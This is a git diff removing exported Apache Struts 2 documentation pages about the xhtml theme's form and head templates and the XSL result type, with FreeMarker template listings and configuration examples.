-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13909">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13909">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13909">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13909">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13909">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The xhtml form template sets up the wrapping table around all the other <a shape="rect" href="xhtml-theme.html">xhtml theme</a> form elements. In addition to creating this wrapping table, the opening and closing templates also, if the <em>validate</em> parameter is set to true, enable <a shape="rect" href="pure-javascript-client-side-validation.html">Pure JavaScript Client Side Validation</a>. See the <strong>form.ftl</strong> contents:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;#--
-/*
- * $Id$
- *
- * Licensed to the Apache Software Foundation (ASF) under one
- * or more contributor license agreements.  See the NOTICE file
- * distributed with this work for additional information
- * regarding copyright ownership.  The ASF licenses this file
- * to you under the Apache License, Version 2.0 (the
- * &quot;License&quot;); you may not use this file except in compliance
- * with the License.  You may obtain a copy of the License at
- *
- *  http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing,
- * software distributed under the License is distributed on an
- * &quot;AS IS&quot; BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- * KIND, either express or implied.  See the License for the
- * specific language governing permissions and limitations
- * under the License.
- */
---&gt;
-&lt;#include &quot;/${parameters.templateDir}/${parameters.expandTheme}/form-validate.ftl&quot; /&gt;
-&lt;#include &quot;/${parameters.templateDir}/${parameters.expandTheme}/form-common.ftl&quot; /&gt;
-&lt;#if (parameters.validate!false)&gt;
-  onreset=&quot;${parameters.onreset!&#39;clearErrorMessages(this);clearErrorLabels(this);&#39;}&quot;
-&lt;#else&gt;
-  &lt;#if parameters.onreset??&gt;
-  onreset=&quot;${parameters.onreset?html}&quot;
-  &lt;/#if&gt;
-&lt;/#if&gt;
-&gt;
-&lt;#include &quot;/${parameters.templateDir}/${parameters.expandTheme}/control.ftl&quot; /&gt;
-]]></script>
-</div></div>
-
-<p>The closing template, <strong>form-close.ftl</strong>:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;#--
-/*
- * $Id$
- *
- * Licensed to the Apache Software Foundation (ASF) under one
- * or more contributor license agreements.  See the NOTICE file
- * distributed with this work for additional information
- * regarding copyright ownership.  The ASF licenses this file
- * to you under the Apache License, Version 2.0 (the
- * &quot;License&quot;); you may not use this file except in compliance
- * with the License.  You may obtain a copy of the License at
- *
- *  http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing,
- * software distributed under the License is distributed on an
- * &quot;AS IS&quot; BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- * KIND, either express or implied.  See the License for the
- * specific language governing permissions and limitations
- * under the License.
- */
---&gt;
-&lt;#include &quot;/${parameters.templateDir}/${parameters.expandTheme}/control-close.ftl&quot; /&gt;
-&lt;#include &quot;/${parameters.templateDir}/simple/form-close.ftl&quot; /&gt;
-&lt;#include &quot;/${parameters.templateDir}/${parameters.expandTheme}/form-close-validate.ftl&quot; /&gt;
-&lt;#if parameters.focusElement??&gt;
-&lt;script type=&quot;text/javascript&quot;&gt;
-    StrutsUtils.addOnLoad(function() {
-        var element = document.getElementById(&quot;${parameters.focusElement?html}&quot;);
-        if(element) {
-            element.focus();
-        }
-    });
-&lt;/script&gt;
-&lt;/#if&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/xhtml-head-template.html b/content/docs/xhtml-head-template.html
deleted file mode 100644
index 1a69425..0000000
--- a/content/docs/xhtml-head-template.html
+++ /dev/null
@@ -1,160 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>xhtml head template</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="xhtml-theme.html">xhtml theme</a>&nbsp;&gt;&nbsp;<a href="xhtml-head-template.html">xhtml head template</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">xhtml head template</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13985">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13985">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13985">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13985">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13985">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13985">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>The xhtml <a shape="rect" href="head.html">head</a> template extends the <a shape="rect" href="simple-head-template.html">simple head template</a> and provides an additional CSS that helps render the <a shape="rect" href="xhtml-theme.html">xhtml theme</a> form elements. The contents of <strong>head.ftl</strong> are:</p>
-
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IllegalArgumentException: Invalid url: must begin with a configured prefix.</span> </div>
-
-<p>The contents of <strong>styles.css</strong> are:</p>
-
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IllegalArgumentException: Invalid url: must begin with a configured prefix.</span> </div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/xhtml-theme.html b/content/docs/xhtml-theme.html
deleted file mode 100644
index 90566a2..0000000
--- a/content/docs/xhtml-theme.html
+++ /dev/null
@@ -1,195 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>xhtml theme</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="xhtml-theme.html">xhtml theme</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">xhtml theme</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13834">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13834">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13834">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13834">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13834">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13834">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>The xhtml provides all the basics that the <a shape="rect" href="simple-theme.html">simple theme</a> provides and adds several features.</p>
-<ul><li>Standard two-column table layout for the HTML <a shape="rect" href="struts-tags.html">Struts Tags</a> (<a shape="rect" href="form.html">form</a>, <a shape="rect" href="textfield.html">textfield</a>, <a shape="rect" href="select.html">select</a>, and so forth)</li><li>Labels for each of the HTML <a shape="rect" href="struts-tags.html">Struts Tags</a> on the left hand side (or top, depending on the <code>labelposition</code> attribute)</li><li><a shape="rect" href="validation.html" [...]
-
-
-<h2 id="xhtmltheme-WrappingtheSimpleTheme">Wrapping the Simple Theme</h2>
-
-<p>The xhtml theme uses the "wrapping" technique described by <a shape="rect" href="extending-themes.html">Extending Themes</a>. Let's look at how the HTML tags are wrapped by a standard header and footer. For example, in the <code>text.ftl</code> template, the <code>controlheader.ftl</code> and <code>controlfooter.ftl</code> templates are wrapped around the simple template.</p>
-<plain-text-body>{snippet:id=all|lang=xml|url=struts2/core/src/main/resources/template/xhtml/text.ftl}</plain-text-body>
-<p><img class="emoticon emoticon-question" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/help_16.png" data-emoticon-name="question" alt="(question)"> The <code>controlheader.ftl</code> is referenced using ${parameters.theme} so that the code can be reused by the <a shape="rect" href="ajax-theme.html">ajax theme</a>.</p>
-
-<h2 id="xhtmltheme-XHTMLThemeHeader">XHTML Theme Header</h2>
-
-<p>Now let's look at the <code>controlheader.ftl</code> and <code>controlheader-core.ftl</code>. Again, these are split up for easy re-use with the <a shape="rect" href="ajax-theme.html">ajax theme</a>) contents:</p>
-<plain-text-body>{snippet:id=all|lang=xml|url=struts2/core/src/main/resources/template/xhtml/controlheader.ftl}</plain-text-body>
-<plain-text-body>{snippet:id=all|lang=xml|url=struts2/core/src/main/resources/template/xhtml/controlheader-core.ftl}</plain-text-body>
-<p>The header used by the HTML tags in the xhtml theme is complicated. However, a close look reveals that the logic produces two behaviors: either a two-column format or a two-row format. Generally the two-column approach is what we want, so that is the default option. To use the two-row approach, change the <code>labelposition</code> parameter to <code>top</code>.</p>
-<parameter ac:name="title">Moving fieldErrors</parameter><rich-text-body>
-<p>The <code>fieldErrors</code>, usually caused by <a shape="rect" href="validation.html">Validation</a>, are printed out as a row above the HTML form element. Some people prefer that the errors display elsewhere, such as in a third column. If you wish to place these elsehwere, overriding the headers is easy, allowing you to continue to use the other features provided by this theme. See <a shape="rect" href="template-loading.html">Template Loading</a> for more information on how to do th [...]
-
-<h2 id="xhtmltheme-XHTMLThemeFooter">XHTML Theme Footer</h2>
-
-<p>The primary objective of <code>controlfooter.ftl</code> is to close the table. But, before the table closes, the template checks for an <code>after</code> parameter.</p>
-<plain-text-body>{snippet:id=all|lang=xml|url=struts2/core/src/main/resources/template/xhtml/controlfooter.ftl}</plain-text-body>
-<p>While "after" isn't an attribute supported by any of the <a shape="rect" href="struts-tags.html">Struts Tags</a>, if you are using <a shape="rect" href="freemarker-tags.html">FreeMarker Tags</a>, <a shape="rect" href="velocity-tags.html">Velocity Tags</a>, or the <a shape="rect" href="param.html">param</a> tag in any template language, you can add an <code>after</code> parameter to place any content you like after the <a shape="rect" href="simple-theme.html">simple theme</a> template  [...]
-
-<h2 id="xhtmltheme-SpecialInterest">Special Interest</h2>
-
-<p>Two xhtml templates of special interest are <code>head</code> and <code>form</code>.</p>
-
-<h3 id="xhtmltheme-headtemplate">head template</h3>
-
-<p>The xhtml <a shape="rect" href="head.html">head</a> template extends the <a shape="rect" href="simple-head-template.html">simple head template</a> and provides an additional CSS that helps render the <a shape="rect" href="xhtml-theme.html">xhtml theme</a> form elements.</p>
-<plain-text-body>{snippet:id=all|lang=xml|url=struts2/core/src/main/resources/template/xhtml/head.ftl}</plain-text-body>
-<p>The head template imports a style sheet.</p>
-<plain-text-body>{snippet:id=all|lang=xml|url=struts2/core/src/main/resources/template/xhtml/styles.css}</plain-text-body>
-
-<h3 id="xhtmltheme-formtemplate">form template</h3>
-
-<p>The xhtml form template sets up the wrapping table around all the other <a shape="rect" href="xhtml-theme.html">xhtml theme</a> form elements. In addition to creating this wrapping table, the opening and closing templates also, if the <code>validate</code> parameter is set to true, enable <a shape="rect" href="pure-javascript-client-side-validation.html">Pure JavaScript Client Side Validation</a>.</p>
-<plain-text-body>{snippet:id=all|lang=xml|url=struts2/core/src/main/resources/template/xhtml/form.ftl}</plain-text-body>
-<p>The closing template, <code>form-close.ftl*</code>:</p>
-<plain-text-body>{snippet:id=all|lang=xml|url=struts2/core/src/main/resources/template/xhtml/form-close.ftl}</plain-text-body></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/xsl-result.html b/content/docs/xsl-result.html
deleted file mode 100644
index 28af0fa..0000000
--- a/content/docs/xsl-result.html
+++ /dev/null
@@ -1,160 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>XSL Result</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="result-types.html">Result Types</a>&nbsp;&gt;&nbsp;<a href="xsl-result.html">XSL Result</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">XSL Result</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14003">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14003">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14003">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14003">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14003">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14003">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="XSLResult-Description">Description</h1><p>XSLTResult uses XSLT to transform an action object to XML. The recent version has been specifically modified to deal with Xalan flaws. When using Xalan you may notice that even though you have a very minimal stylesheet like this one</p><parameter ac:name="">xml</parameter><plain-text-body>&lt;xsl:template match="/result"&gt;
-&lt;result/&gt;
-&lt;/xsl:template&gt;</plain-text-body><p>Xalan would still iterate through every property of your action and all its descendants.</p><p>If you had double-linked objects, Xalan would work forever analysing an infinite object tree. Even if your stylesheet was not constructed to process them all. It's because the current Xalan eagerly and extensively converts<br clear="none">everything to its internal DTM model before further processing.</p><p>That's why there's a loop eliminator added tha [...]
-and
-y.x = x;
-action.x=x;</plain-text-body><p>Due to that modification, the resulting XML document based on x would be:</p><parameter ac:name="">xml</parameter><plain-text-body>&lt;result&gt;
-&lt;x&gt;
-&lt;y/&gt;
-&lt;/x&gt;
-&lt;/result&gt;</plain-text-body><p>Without it there would be endless <code>x/y/x/y/x/y/...</code>&#160;elements.</p><p>The <code>XSLTResult</code>&#160;code tries also to deal with the fact that DTM model is built in a manner that children are processed before siblings. The result is that if there is object x that is both set in action's x property, and very deeply under action's a property then it would only appear under a, not under x. That's not what we expect, and that's why <code>X [...]
-&lt;html&gt;
-&lt;body&gt;
-  Hello &lt;xsl:value-of select="username"/&gt; how are you?
-&lt;/body&gt;
-&lt;/html&gt;
-&lt;/xsl:template&gt;</plain-text-body></rich-text-body><p>In the following example the XSLT result would only walk through action's properties without their childs. It would also skip every property that has <code>hugeCollection</code>&#160;in their name. Element's path is first compared to <code>excludingPattern</code>&#160;- if it matches it's no longer processed. Then it is compared to <code>matchingPattern</code>&#160;and processed only if there's a match.</p><parameter ac:name="">x [...]
-  &lt;param name="stylesheetLocation"&gt;foo.xslt&lt;/param&gt;
-  &lt;param name="matchingPattern"&gt;^/result/[^/*]$&lt;/param&gt;
-  &lt;param name="excludingPattern"&gt;.*(hugeCollection).*&lt;/param&gt;
-&lt;/result&gt;</plain-text-body><p>In the following example the XSLT result would use the action's user property instead of the action as it's base document and walk through it's properties. The <code>exposedValue</code>&#160;uses an OGNL expression to derive it's value.</p><parameter ac:name="">xml</parameter><plain-text-body>&lt;result name="success" type="xslt"&gt;
-  &lt;param name="stylesheetLocation"&gt;foo.xslt&lt;/param&gt;
